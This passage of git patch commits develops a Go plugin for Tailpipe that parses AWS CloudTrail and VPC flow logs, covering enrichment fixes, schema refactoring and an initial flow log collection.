map[string]any) (any, error) { // row must be an AWSCloudTrail record, ok := row.(aws_types.AWSCloudTrail) if !ok { From 67ec389fd402543ca6117b8c64d6be44ca74ee94 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 26 Jun 2024 16:04:38 +0100 Subject: [PATCH 007/180] fix enrichment --- aws_collection/cloudtrail_log_collection.go | 2 +- aws_source/compressed_file_source.go | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 0b426833..c076ef0f 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -90,6 +90,6 @@ func (c CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields map[s record.TpSourceLocation = &sourceStr } } - return row, nil + return record, nil } diff --git a/aws_source/compressed_file_source.go b/aws_source/compressed_file_source.go index 6fba099a..e3a241e3 100644 --- a/aws_source/compressed_file_source.go +++ b/aws_source/compressed_file_source.go @@ -9,6 +9,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/source" + "log/slog" "os" "path/filepath" ) @@ -44,6 +45,7 @@ func (c *CompressedFileSource) Collect(ctx context.Context, req *proto.CollectRe case <-ctx.Done(): return ctx.Err() default: + slog.Debug("Processing file", "file", file) // Call ExtractArtifactRows for each gz file if err := c.ExtractArtifactRows(ctx, req, file); err != nil { return err From 30ca9b9241e08a9e314ce9969f25aeacf9a4f504 Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 2 Jul 2024 16:43:21 +0100 Subject: [PATCH 008/180] - rename EnrichmentFields to CommonFields - re-add GetSchema - infer schema from reflection - add plugin.Base.RegisterCollection --- aws/plugin.go | 27 +++-- aws_collection/cloudtrail_log_collection.go | 41 +++++-- aws_collection/types.go | 1 - aws_types/aws_cloudtrail.go | 119 ++++++++++---------- go.mod | 4 +- go.sum | 9 +- main.go | 2 +- 7 files changed, 111 insertions(+), 92 deletions(-) delete mode 100644 aws_collection/types.go diff --git a/aws/plugin.go b/aws/plugin.go index 94e74548..a3dc52ea 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -3,16 +3,26 @@ package aws import ( "context" "github.com/turbot/tailpipe-plugin-aws/aws_collection" - "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log" + "time" ) type Plugin struct { plugin.Base } +func NewPlugin() (plugin.TailpipePlugin, error) { + p := &Plugin{} + + time.Sleep(10 * time.Second) + // register collections which we support + p.RegisterCollections(aws_collection.NewCloudTrailLogCollection) + + return p, nil +} + func (t *Plugin) Identifier() string { return "aws" } @@ -20,29 +30,22 @@ func (t *Plugin) Identifier() string { func (t *Plugin) Collect(req *proto.CollectRequest) error { log.Println("[INFO] Collect") + // TODO can we do this in base go t.doCollect(context.Background(), req) return nil } -//// GetSchema returns the schema (i.e. an instance of the row struct) for all collections -//// it is used primarily to validate the row structs provide the required fields -//func (t *Plugin) GetSchema(collection string) map[string]any { -// return map[string]any{ -// aws_collection.CloudTrailLogCollection{}.Identifier(): aws_types.AWSCloudTrail{}, -// } -//} - func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { // todo config parsing, identify collection type etc. // TODO parse config and use to build collection // tactical - create collection - sourceConfig := aws_source.CompressedFileSourceConfig{Paths: []string{"/Users/kai/Downloads/flaws_cloudtrail_logs"}} - var source = aws_source.NewCompressedFileSourceConfig(sourceConfig) collectionConfig := aws_collection.CloudTrailLogCollectionConfig{} - var col = aws_collection.NewCloudTrailLogCollection(collectionConfig, source) + var col = aws_collection.NewCloudTrailLogCollection() + // TEMP call init + col.Init(collectionConfig) // add ourselves as an observer col.AddObserver(t) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index c076ef0f..645dcef1 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -3,6 +3,7 @@ package aws_collection import ( "fmt" "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_source" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" "github.com/turbot/tailpipe-plugin-sdk/collection" @@ -24,22 +25,44 @@ type CloudTrailLogCollection struct { Config CloudTrailLogCollectionConfig } -func NewCloudTrailLogCollection(config CloudTrailLogCollectionConfig, source plugin.Source) *CloudTrailLogCollection { - l := &CloudTrailLogCollection{ - Config: config, - } - // Init sets the Source property on Base and adds us as an observer to it - // It also sets us as the Enricher property on Base - l.Base.Init(source, l) +func NewCloudTrailLogCollection() plugin.Collection { + l := &CloudTrailLogCollection{} + // TODO avoid need for plugin implementation to do this + // Init sets us as the Enricher property on Base + l.Base.Init(l) return l } -func (c CloudTrailLogCollection) Identifier() string { +// GetRowStruct implements Collection +// return an instance of the row struct +func (c *CloudTrailLogCollection) GetRowStruct() any { + return aws_types.AWSCloudTrail{} +} + +// Init implements Collection +func (c *CloudTrailLogCollection) Init(config any) error { + // TEMP - this will actually parse (or the base will) + + // todo - parse config + c.Config = config.(CloudTrailLogCollectionConfig) + + // todo create source from config + sourceConfig := aws_source.CompressedFileSourceConfig{Paths: []string{"/Users/kai/tailpipe_data/flaws_cloudtrail_logs"}} + var source = aws_source.NewCompressedFileSourceConfig(sourceConfig) + // todo do this from base??? + c.AddSource(source) + + return nil +} + +// Identifier implements Collection +func (c *CloudTrailLogCollection) Identifier() string { return "aws_cloudtrail_log" } -func (c CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields map[string]any) (any, error) { +// EnrichRow implements RowEnricher +func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields map[string]any) (any, error) { // row must be an AWSCloudTrail record, ok := row.(aws_types.AWSCloudTrail) if !ok { diff --git a/aws_collection/types.go b/aws_collection/types.go deleted file mode 100644 index 33ff63ff..00000000 --- a/aws_collection/types.go +++ /dev/null @@ -1 +0,0 @@ -package aws_collection diff --git a/aws_types/aws_cloudtrail.go b/aws_types/aws_cloudtrail.go index 7675be0c..31bf036a 100644 --- a/aws_types/aws_cloudtrail.go +++ b/aws_types/aws_cloudtrail.go @@ -9,86 +9,87 @@ type AWSCloudTrailBatch struct { Records []AWSCloudTrail `json:"Records"` } +// TODO validate the struct does not have omitempty fields type AWSCloudTrail struct { - // embed required enrichment fields - enrichment.EnrichmentFields + // embed required enrichment fields (be sure to skip in parquet) + enrichment.CommonFields `parquet:"-"` - AdditionalEventData *helpers.JSONString `json:"additionalEventData,omitempty"` - APIVersion *string `json:"apiVersion,omitempty"` - AwsRegion string `json:"awsRegion"` - ErrorCode *string `json:"errorCode,omitempty"` - ErrorMessage *string `json:"errorMessage,omitempty"` - EventID string `json:"eventID"` - EventName string `json:"eventName"` - EventSource string `json:"eventSource"` - EventTime helpers.UnixMillis `json:"eventTime"` - EventType string `json:"eventType"` - EventVersion string `json:"eventVersion"` - ManagementEvent *bool `json:"managementEvent,omitempty"` - ReadOnly *bool `json:"readOnly,omitempty"` - RecipientAccountId string `json:"recipientAccountId,omitempty"` - RequestID *string `json:"requestID,omitempty"` - RequestParameters *helpers.JSONString `json:"requestParameters,omitempty"` - Resources []*Resource `json:"resources,omitempty"` - ResponseElements *helpers.JSONString `json:"responseElements,omitempty"` - ServiceEventDetails *helpers.JSONString `json:"serviceEventDetails,omitempty"` - SharedEventID *string `json:"sharedEventID,omitempty"` - SourceIPAddress *string `json:"sourceIPAddress,omitempty"` - UserAgent *string `json:"userAgent,omitempty"` - UserIdentity UserIdentity `json:"userIdentity"` - VpcEndpointId string `json:"vpcEndpointId,omitempty"` - EventCategory string `json:"eventCategory,omitempty"` - SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty"` - EdgeDeviceDetails *helpers.JSONString `json:"edgeDeviceDetails,omitempty"` - TLSDetails *TLSDetails `json:"tlsDetails,omitempty"` + AdditionalEventData *helpers.JSONString `json:"additionalEventData"` + APIVersion *string `json:"apiVersion" parquet:"name=apiversion"` + AwsRegion string `json:"awsRegion"` + ErrorCode *string `json:"errorCode"` + ErrorMessage *string `json:"errorMessage"` + EventID string `json:"eventID"` + EventName string `json:"eventName"` + EventSource string `json:"eventSource"` + EventTime helpers.UnixMillis `json:"eventTime"` + EventType string `json:"eventType"` + EventVersion string `json:"eventVersion"` + ManagementEvent *bool `json:"managementEvent"` + ReadOnly *bool `json:"readOnly"` + RecipientAccountId string `json:"recipientAccountId"` + RequestID *string `json:"requestID"` + RequestParameters *helpers.JSONString `json:"requestParameters"` + Resources []*Resource `json:"resources"` + ResponseElements *helpers.JSONString `json:"responseElements"` + ServiceEventDetails *helpers.JSONString `json:"serviceEventDetails"` + SharedEventID *string `json:"sharedEventID"` + SourceIPAddress *string `json:"sourceIPAddress"` + UserAgent *string `json:"userAgent"` + UserIdentity UserIdentity `json:"userIdentity"` + VpcEndpointId string `json:"vpcEndpointId"` + EventCategory string `json:"eventCategory"` + // TODO - this looks like a bool, but is in the JSON as a string ... should we convert it? + SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole"` + EdgeDeviceDetails *helpers.JSONString `json:"edgeDeviceDetails"` + TLSDetails *TLSDetails `json:"tlsDetails"` } type UserIdentity struct { - Type string `json:"type" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id, type=BYTE_ARRAY, convertedtype=UTF8"` - ARN *string `json:"arn,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` - AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8"` - AccessKeyId *string `json:"accessKeyId,omitempty" parquet:"name=access_key_id, type=BYTE_ARRAY, convertedtype=UTF8"` - UserName *string `json:"userName,omitempty" parquet:"name=user_name, type=BYTE_ARRAY, convertedtype=UTF8"` - SessionContext *SessionContext `json:"sessionContext,omitempty" parquet:"name=session_context, type=STRUCT"` - InvokedBy *string `json:"invokedBy,omitempty" parquet:"name=invoked_by, type=BYTE_ARRAY, convertedtype=UTF8"` - IdentityProvider *string `json:"identityProvider,omitempty" parquet:"name=identity_provider, type=BYTE_ARRAY, convertedtype=UTF8"` + Type string `json:"type"` + PrincipalId *string `json:"principalId"` + ARN *string `json:"arn"` + AccountId *string `json:"accountId"` + AccessKeyId *string `json:"accessKeyId"` + UserName *string `json:"userName"` + SessionContext *SessionContext `json:"sessionContext"` + InvokedBy *string `json:"invokedBy"` + IdentityProvider *string `json:"identityProvider"` } type Resource struct { - ARN *string `json:"ARN,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` - AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - Type *string `json:"type,omitempty" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` + ARN *string `json:"ARN"` + AccountId *string `json:"accountId"` + Type *string `json:"type"` } type SessionContext struct { - Attributes *SessionAttributes `json:"attributes,omitempty" parquet:"name=attributes, type=STRUCT"` - SessionIssuer *SessionIssuer `json:"sessionIssuer,omitempty" parquet:"name=session_issuer, type=STRUCT"` - WebIdFederationData *WebIdFederationData `json:"webIdFederationData,omitempty" parquet:"name=web_id_federation_data, type=STRUCT"` - EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty" parquet:"name=ec2_role_delivery, type=BYTE_ARRAY, convertedtype=UTF8"` + Attributes *SessionAttributes `json:"attributes"` + SessionIssuer *SessionIssuer `json:"sessionIssuer"` + WebIdFederationData *WebIdFederationData `json:"webIdFederationData"` + EC2RoleDelivery *string `json:"ec2RoleDelivery"` } type SessionAttributes struct { - MfaAuthenticated *string `json:"mfaAuthenticated,omitempty" parquet:"name=mfa_authenticated, type=BYTE_ARRAY, convertedtype=UTF8"` - CreationDate *helpers.UnixMillis `json:"creationDate,omitempty" parquet:"name=creation_date, type=INT64, convertedtype=TIMESTAMP_MILLIS"` + MfaAuthenticated *string `json:"mfaAuthenticated"` + CreationDate *helpers.UnixMillis `json:"creationDate"` } type SessionIssuer struct { - Type *string `json:"type,omitempty" parquet:"name=type, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id, type=BYTE_ARRAY, convertedtype=UTF8"` - ARN *string `json:"arn,omitempty" parquet:"name=arn, type=BYTE_ARRAY, convertedtype=UTF8"` - AccountId *string `json:"accountId,omitempty" parquet:"name=account_id, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN_DICTIONARY"` - UserName *string `json:"userName,omitempty" parquet:"name=user_name, type=BYTE_ARRAY, convertedtype=UTF8"` + Type *string `json:"type"` + PrincipalId *string `json:"principalId"` + ARN *string `json:"arn"` + AccountId *string `json:"accountId"` + UserName *string `json:"userName"` } type WebIdFederationData struct { - FederatedProvider *string `json:"federatedProvider,omitempty" parquet:"name=federated_provider, type=BYTE_ARRAY, convertedtype=UTF8"` - Attributes *helpers.JSONString `json:"attributes,omitempty" parquet:"name=attributes, type=BYTE_ARRAY, convertedtype=UTF8"` + FederatedProvider *string `json:"federatedProvider"` + Attributes *helpers.JSONString `json:"attributes"` } type TLSDetails struct { - TLSVersion *string `json:"tlsVersion,omitempty" parquet:"name=tls_version, type=BYTE_ARRAY, convertedtype=UTF8"` - CipherSuite *string `json:"cipherSuite,omitempty" parquet:"name=cipher_suite, type=BYTE_ARRAY, convertedtype=UTF8"` - //ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header, type=BYTE_ARRAY, convertedtype=UTF8"` - ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header, type=BYTE_ARRAY, convertedtype=UTF8, encoding=PLAIN"` + TLSVersion *string `json:"tlsVersion"` + CipherSuite *string `json:"cipherSuite"` + ClientProvidedHostHeader *string `json:"clientProvidedHostHeader"` } diff --git a/go.mod b/go.mod index fa07450e..4bbfecbf 100644 --- a/go.mod +++ b/go.mod @@ -20,16 +20,14 @@ require ( github.com/hashicorp/go-plugin v1.6.1 // indirect github.com/hashicorp/yamux v0.1.1 // indirect github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f // indirect + github.com/iancoleman/strcase v0.3.0 // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect - github.com/mattn/go-runewidth v0.0.13 // indirect github.com/mitchellh/go-testing-interface v1.14.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/oklog/run v1.0.0 // indirect - github.com/olekukonko/tablewriter v0.0.5 // indirect - github.com/rivo/uniseg v0.2.0 // indirect github.com/tkrajina/go-reflector v0.5.6 // indirect github.com/turbot/go-kit v0.10.0-rc.0 // indirect github.com/turbot/pipe-fittings v1.4.1 // indirect diff --git a/go.sum b/go.sum index cc3a6b63..7141677c 100644 --- a/go.sum +++ b/go.sum @@ -27,6 +27,8 @@ github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f h1:7LYC+Yfkj3CTRcShK0KOL/w6iTiKyqqBA9a41Wnggw8= github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f/go.mod h1:pFlLw2CfqZiIBOx6BuCeRLCrfxBJipTY0nIOF/VbGcI= +github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSASxEI= +github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= @@ -44,23 +46,16 @@ github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27k github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= -github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= -github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= -github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= -github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= -github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= diff --git a/main.go b/main.go index e1281418..9800d5de 100644 --- a/main.go +++ b/main.go @@ -7,6 +7,6 @@ import ( func main() { plugin.Serve(&plugin.ServeOpts{ - Plugin: &aws.Plugin{}, + PluginFunc: aws.NewPlugin, }) } From c66b3d10f1816b2087f651e0b9011df639d38b5c Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 3 Jul 2024 18:04:55 +0100 Subject: [PATCH 009/180] remove sleep --- aws/plugin.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index a3dc52ea..45f25b79 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -6,7 +6,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log" - "time" ) type Plugin struct { @@ -16,7 +15,7 @@ type Plugin struct { func NewPlugin() (plugin.TailpipePlugin, error) { p := &Plugin{} - time.Sleep(10 * time.Second) + //time.Sleep(10 * time.Second) // register collections which we support p.RegisterCollections(aws_collection.NewCloudTrailLogCollection) From ec6a4bb7fb09c2f42e8b0a90ce8c7cc0d705ee1a Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 9 Jul 2024 10:23:23 +0100 Subject: [PATCH 010/180] Initial flowlog implementation --- aws/plugin.go | 23 +- aws_collection/cloudtrail_log_collection.go | 21 +- aws_collection/flow_log_collection_config.go | 27 +++ aws_collection/flowlog_log_collection.go | 149 +++++++++++++ ...o => cloudtrail_compressed_file_source.go} | 20 +- aws_source/flowlog_compressed_file_source.go | 105 +++++++++ aws_types/aws_cloudtrail.go | 96 ++++---- aws_types/aws_flowlog.go | 211 ++++++++++++++++++ aws_types/aws_flowlog_test.go | 49 ++++ go.mod | 21 +- go.sum | 33 ++- 11 files changed, 678 insertions(+), 77 deletions(-) create mode 100644 aws_collection/flow_log_collection_config.go create mode 100644 aws_collection/flowlog_log_collection.go rename aws_source/{compressed_file_source.go => cloudtrail_compressed_file_source.go} (69%) create mode 100644 aws_source/flowlog_compressed_file_source.go create mode 100644 aws_types/aws_flowlog.go create mode 100644 aws_types/aws_flowlog_test.go diff --git a/aws/plugin.go b/aws/plugin.go index 45f25b79..55004c96 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -17,7 +17,7 @@ func NewPlugin() (plugin.TailpipePlugin, error) { //time.Sleep(10 * time.Second) // register collections which we support - p.RegisterCollections(aws_collection.NewCloudTrailLogCollection) + p.RegisterCollections(aws_collection.NewCloudTrailLogCollection, aws_collection.NewFlowlogLogCollection) return p, nil } @@ -41,8 +41,29 @@ func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { // TODO parse config and use to build collection // tactical - create collection + //collectionConfig := aws_collection.FlowLogCollectionConfig{ + // Fields: []string{ "timestamp", + // "version", + // "account-id", + // "interface-id", + // "srcaddr", + // "dstaddr", + // "srcport", + // "dstport", + // "protocol", + // "packets", + // "bytes", + // "start", + // "end", + // "action", + // "log-status", + // }, + //} + //var col = aws_collection.NewFlowlogLogCollection() + collectionConfig := aws_collection.CloudTrailLogCollectionConfig{} var col = aws_collection.NewCloudTrailLogCollection() + // TEMP call init col.Init(collectionConfig) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 645dcef1..b6060cc4 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -7,6 +7,7 @@ import ( "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-aws/util" "github.com/turbot/tailpipe-plugin-sdk/collection" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/plugin" "strings" @@ -49,7 +50,7 @@ func (c *CloudTrailLogCollection) Init(config any) error { // todo create source from config sourceConfig := aws_source.CompressedFileSourceConfig{Paths: []string{"/Users/kai/tailpipe_data/flaws_cloudtrail_logs"}} - var source = aws_source.NewCompressedFileSourceConfig(sourceConfig) + var source = aws_source.NewCloudtrailCompressedFileSource(sourceConfig) // todo do this from base??? c.AddSource(source) @@ -62,13 +63,18 @@ func (c *CloudTrailLogCollection) Identifier() string { } // EnrichRow implements RowEnricher -func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields map[string]any) (any, error) { +func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { // row must be an AWSCloudTrail record, ok := row.(aws_types.AWSCloudTrail) if !ok { return nil, fmt.Errorf("invalid row type %T, expected AWSCloudTrail", row) } + // initialize the enrichment fields to any fields provided by the source + if sourceEnrichmentFields == nil { + record.CommonFields = *sourceEnrichmentFields + } + // Record standardization record.TpID = xid.New().String() record.TpSourceType = "aws_cloudtrail_log" @@ -102,17 +108,6 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields map[ record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) - // now add an enrichment fields provided by the source - if sourceEnrichmentFields != nil { - if sourceLocation, ok := sourceEnrichmentFields["sourceLocation"]; ok { - // verify it is a string - sourceStr, ok := sourceLocation.(string) - if ok { - return nil, fmt.Errorf("sourceLocation is not a string") - } - record.TpSourceLocation = &sourceStr - } - } return record, nil } diff --git a/aws_collection/flow_log_collection_config.go b/aws_collection/flow_log_collection_config.go new file mode 100644 index 00000000..ce1bad00 --- /dev/null +++ b/aws_collection/flow_log_collection_config.go @@ -0,0 +1,27 @@ +package aws_collection + +var DefaultFlowLogFields = []string{ + "version", + "account-id", + "interface-id", + "srcaddr", + "dstaddr", + "srcport", + "dstport", + "protocol", + "packets", + "bytes", + "start", + "end", + "action", + "log-status", +} + +type FlowLogCollectionConfig struct { + // the path to the flow log files + Paths []string `hcl:"paths"` + + // TODO will we need to infer these??? + // the fields to extract from the flow log + Fields []string `hcl "fields"` +} diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go new file mode 100644 index 00000000..eaff7d36 --- /dev/null +++ b/aws_collection/flowlog_log_collection.go @@ -0,0 +1,149 @@ +package aws_collection + +import ( + "fmt" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/aws_source" + "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/collection" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/plugin" + "time" + //"github.com/turbot/tailpipe-plugin-sdk/collection" + //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" + //"github.com/turbot/tailpipe-plugin-sdk/source" +) + +type FlowlogLogCollection struct { + // all collections must embed collection.Base + // this add observer and enrich functions + collection.Base + + // the collection config + Config FlowLogCollectionConfig +} + +func NewFlowlogLogCollection() plugin.Collection { + l := &FlowlogLogCollection{} + // TODO avoid need for plugin implementation to do this + // Init sets us as the Enricher property on Base + l.Base.Init(l) + + return l +} + +// GetRowStruct implements Collection +// return an instance of the row struct +func (c *FlowlogLogCollection) GetRowStruct() any { + return aws_types.FlowLog{} +} + +// Init implements Collection +func (c *FlowlogLogCollection) Init(config any) error { + // TEMP - this will actually parse (or the base will) + + // todo - parse config + c.Config = config.(FlowLogCollectionConfig) + + // init the config - this defaults the field list + if c.Config.Fields == nil { + c.Config.Fields = DefaultFlowLogFields + } + + // todo create source from config + sourceConfig := aws_source.CompressedFileSourceConfig{Paths: []string{"/Users/kai/tailpipe_data/flowlog"}} + var source = aws_source.NewFlowlogCompressedFileSource(sourceConfig) + // todo do this from base??? + c.AddSource(source) + + return nil +} + +// Identifier implements Collection +func (c *FlowlogLogCollection) Identifier() string { + return "aws_flow_log" +} + +// EnrichRow implements RowEnricher +func (c *FlowlogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { + + // row must be a string + rowString, ok := row.(string) + if !ok { + return nil, fmt.Errorf("invalid row type %T, expected string", row) + } + record, err := aws_types.FlowLogFromString(rowString, c.Config.Fields) + + if err != nil { + return nil, fmt.Errorf("error parsing row: %s", err) + } + + // initialize the enrichment fields to any fields provided by the source + if sourceEnrichmentFields != nil { + record.CommonFields = *sourceEnrichmentFields + } + + /* required fields */ + /// GetConnection() string + //// GetYear() int + //// GetMonth() int + //// GetDay() int + //// GetTpID() string + //// GetTpTimestamp() int64 + // + + //// Record standardization + record.TpID = xid.New().String() + + // TODO is source type actually the source, i.e compressed file source etc> + // should these all be filled in by the source??? + record.TpSourceType = c.Identifier() + //record.TpSourceName = ??? + //record.TpSourceLocation = ??? + record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + + // Hive fields + // TODO - should be based on the definition in HCL + record.TpCollection = "default" + if record.AccountID != nil { + record.TpConnection = *record.AccountID + } + + // populate the year, month, day from start time + if record.Timestamp != nil { + // TODO factor into function + record.TpYear = int32(record.Timestamp.In(time.UTC).Year()) + record.TpMonth = int32(record.Timestamp.In(time.UTC).Month()) + record.TpDay = int32(record.Timestamp.In(time.UTC).Day()) + + record.TpTimestamp = helpers.UnixMillis(record.Timestamp.UnixNano() / int64(time.Millisecond)) + + } else if record.Start != nil { + record.TpYear = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Year()) + record.TpMonth = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Month()) + record.TpDay = int32(time.Unix(int64(*record.Start)/1000, 0).In(time.UTC).Day()) + + //convert from unis 